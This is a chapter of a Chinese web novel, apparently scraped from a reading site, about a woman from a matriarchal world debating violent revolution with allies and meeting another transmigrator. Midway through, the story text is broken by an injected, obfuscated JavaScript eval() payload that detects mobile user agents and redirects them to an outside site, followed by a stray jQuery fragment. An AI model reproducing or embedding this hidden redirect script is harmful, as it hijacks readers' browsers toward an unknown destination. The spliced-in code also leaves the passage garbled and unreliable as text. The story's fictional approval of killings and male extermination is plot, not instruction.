57.你也是穿来的?
作品:《她从母系社会来》 姜燃浑身都痛。
她的意识像是从漆黑的深海中艰难地上浮,最先恢复的不是视觉,而是听觉。她听见自己肺部发出的沉重粗粝的呼吸声,和似近似远模糊不清的人声。
她察觉到一种弥漫性的、沉闷的钝痛,似乎全身都不是自己的,她的右手、左臂、还有被打伤的右腿以及被棍棒敲击过的后背,都在痛。她试图睁开眼,眼皮却重若千斤,好不容易撬开一丝缝隙,模糊的光线刺入,刺得她直流泪。
她这是在哪儿?姜燃感受着身下柔软的床铺想。县城的大牢里有这么柔软的床铺吗?
“你最好清醒一点。不要再相信朝廷和法令。”一个温柔的声音说。
“可是我不会别的!我从小受过的教育让我只会相信朝廷和法令,我们为什么不能用正经的方式来争取正义和自由?为什么要这么暴力?!为什么要伤害这么多无辜的生命?!”
一个苍老的、歇斯底里的声音说。
“他们不无辜,他们是伤害女人的法令的维护者。”温柔的声音继续温柔,说出来的话却毫不留情:“那些法令是既得利益者制定的,他们制定的法令不可能给你想要的正义。地主会制订法令让农人获得土地吗?在你的世界,资本家会制订法令保证工人的利益吗?”
“会的,”那个苍老的声音说,但是声音低下去,“我们有工人保护法。”
“实行过吗?”
“很难,或者说,几乎没有。”
温柔的声音轻轻笑了笑:“你知道的,几乎不能实行的法令和不存在没有什么区别。当然,法令是用来威慑犯罪者的,处罚程度过轻的法令也和不存在没有什么区别。”
“可我们总要相信正义。”
“我只相信以其人之道,还治其人之身。所以,加入我们吧。你会发现用他们的方法对待他们比祈求他们要快得多。我们需要你,需要你变得更加不择手段一点。”
“我做不到。”
“你可以的……嗯?”
姜燃终于睁开了眼睛,一下就看见了站在墙边正在拨亮灯火的魏大姨,她说:“姜贤姪,你醒了?”
姜燃吃力地坐起来,魏大姨立即过来扶她。姜燃看清这是一个大单间,时间好像在深夜,屋内有些昏暗,不远处的墙根蹲着捂着脸的赵言犀。
姜燃用手扶了扶额头,右手还疼着,左手已经被绑上了绷带,骨折的地方似乎也已经固定好,奇怪的是,她的头不疼了,她问:“我这是在哪儿?”
“一户农人家里,”魏大姨依旧穿着那身半新不旧的暗红衣衫,袖子边缘绣着小花,“我在路上碰见了春娟,她告诉我,你应该藏在赵家村山后,我去找到了你。”
“赵家村!”姜燃突然想起什么,她挣扎着要下床,魏大姨把她按住了。
“赵家村没事。”
魏大姨温和地说:“我已经派小吴去帮她们了,那里将会封村,成为一个与世隔绝的母国。”
“虽然一个村子对我们来说还远远不够,我们要的是整个天下。”
“那吴家村呢?”
“吴家村的人迁居到赵家村住。赵家村在山谷中,地理位置最好,外敌不容易侵入。”
魏大姨重新扶她躺下,“你受伤比较重,还是好生将养比较好,多谢你杀了赵家村和吴家村的人,省了我们很多功夫。”
“另外,我需要跟你道歉,姜贤姪,本来你可以在这个世界安稳的生活下去,是我为了我们的计划扰乱了你的生活。你可以骂我,可以打我,发泄你心中的怒气。”魏大姨温柔的抱歉道,她轻柔的理了理衣袖上的小花,继续道:“但是如果你想杀我的话,我会提前杀了你。因为我的生命很重要,我有很多事情没有做。”
姜燃思绪复杂地摇了摇头,她问:“孙御史的行为是你煽动的吗?”
“不是。我和孙御史没有任何交集,我也没想到他会疯狂到这个地步。”
“那小谢的惨状是你故意造成的吗?”赵言犀突然抬起头,
“也不是。她在黄嗣昌家本来就过得不好,那天黄嗣昌会抽刀砍人,我也没有预料到。”
“那你做了什么?”赵言犀愤怒质问。
“我只是让江不驯把她带到你身边来,让你看见她在受苦,顺便拦住了小姜,让你用你的方式去碰壁而已。”魏大姨说。
她用温和的包容的眼神看着赵言犀:“我知道你在郡城时曾为几个遭受家暴的妇人打赢了官司,可那不够。郡城有支持她们的长官,但天底下八州三府的很多地方都还没有。你已经不再年轻,我们没有太多精力和那些人打口水战了。”
“你的能力应该放在成立新世界后制订新法条上,而不是放在这里,用他们发的牌和他们打漫长的官司。我们需要掀桌。”
“你疯了?”赵言犀质问,她的语气里带着慌乱和不解:“我们明明已经成立了汝归,已经开办了慈萱堂,我们还创立了《女报》,我们的一切都在向好!我们完全可以温和的完成这场变革!等我们慢慢有了金钱、有了工作,掌握更多的话语权,我们的地位就会高起来。反正我们要的只是和他们平起平坐,我们会得到的,你为什么这么着急呢?”
魏大姨同情的看着她:“你知道为什么你可以做一个讼师吗?”
“因为我能力强,因为我够努力,我比这个世界我的哥哥弟弟都努力。”
“并不是。”魏大姨道:“是因为五十年前曾有一群人为我们努力过。她们走出家门割断长发,扔掉束腰的带子,加入了抗击蛮族的斗争中。她们用鲜血为我们换来了微薄的话语权。你知道吗?当时陈将军她曾经提出过民权和女权,但是如今只有民权写在朝廷律法里,你猜猜是为什么?”
赵言犀颓然地蹲下去,捂住了脸:“我不想猜。”
“你不敢面对。”
“可是,”赵言犀抬头,目光祈求:“和平毕竟是来之不易的不是吗?我们好不容易打走了蛮族,难道我们自己要学蛮族行事吗?”
“虽然我不知道你为什么对和平如此执念,但是我可以告诉你,争斗一直在发生。蛮族虽然已经走了,但施加在女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374681|180078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身上的刑罚从未停止。铺子里售卖的那些有毒的铅粉、有毒的月事带,还有那些额外保护施暴者的法令,你还不明白吗?”
“我只是……只是……”
“只是生活在和平和受尊重的世界里习惯了,”魏大姨站起身,意味深长地说了一句,“但你不会忘记,你那个世界的和平和尊重是怎么来的。”
赵言犀蹲在墙角,一言不发。
魏大姨走到门口,转身和姜燃对上了眼神,她的神情依然是平和的,露出温柔微笑:“鸡汤快好了,我给你端来。”
姜燃用右臂撑着身子,探出床去看赵言犀,她浑身带着一种脆弱暴躁的气息,好像世界观受到了很大的冲击。
姜燃也是一样。她探了探空空荡荡的精神力,她的精神力空间彻底关闭了,她不死心的又试了试,精神力空间无情的朝她关闭了所有权限,连她的医药箱也打不开了,手术刀完全召唤不出来。
她颓然地躺回床上,试图接受这个自己不仅没有了精神力,而且可能再也回不了母国的事实。
可是完全无法接受。
想到自己要在一个全是雄性说了算的世界里呆一辈子,姜燃就觉得好像浑身有蛆虫在爬,连呼吸都变得不顺畅了。她用力喘了两口气,满眼灰暗,她还是不能接受她走到每个城镇的时候街上见到的都是直立行走的雄性,还要承受他们莫名其妙的目光,以及人身威胁。
想到在街上被捅了三刀的谢方苒,姜燃恶狠狠地咬牙下决心,要是能发明激光可以把这个世界的雄性类人生物一下子消灭掉就好了。
她正想着如何继续在这个社会中生存下去,突然听见赵言犀说了一句:“奇变偶不变?”
姜燃:“啊?”
赵言犀坐在地上,看着姜燃迷茫的神情,挠了挠头,似乎在组织语言,终于,她道:“我其实不是这个时代的人。”
“我来自二十一世纪的东方国家。你是后世的人吗?你不太像我们那个年代的女性。”
姜燃有些诧异,她还不太能接受这样坦荡的透露自己的底牌,她含糊道:“算是吧,我和这个世界也格格不入。”
“真的吗?”赵言犀突然从地上一跃而起,扑到床边握住了姜燃的手,“我可算遇到一个不是这个世界的人了。魏大姨总说异人也是从其她世界穿越而来的,但异人早就死了,我一直没人聊天,这个破世界让我憋闷死了,很难适应。”
姜燃沉默了一下。这个世界,是个女人都会觉得很难适应的吧?她看魏大姨也很难适应。
“你,”姜燃组织了下语言,试探道:“你直接和她们透露你是异世界来的人,就不怕她们……觉得你是异端吗?毕竟,这算……借尸还魂?夺舍?反正就是……占了原主的身体什么的。”
“不会啊,”赵言犀揪起自己腰间挂着的毛笔,把凌乱的笔杆放在嘴里咬着,一边咬一边说:“这个世界有女巫,也不算女巫吧,算是大祭司一类的?她们传承着一些上古通灵术,给我算过,说我其实是平行世界过来的,换句话说……我穿我自己?”

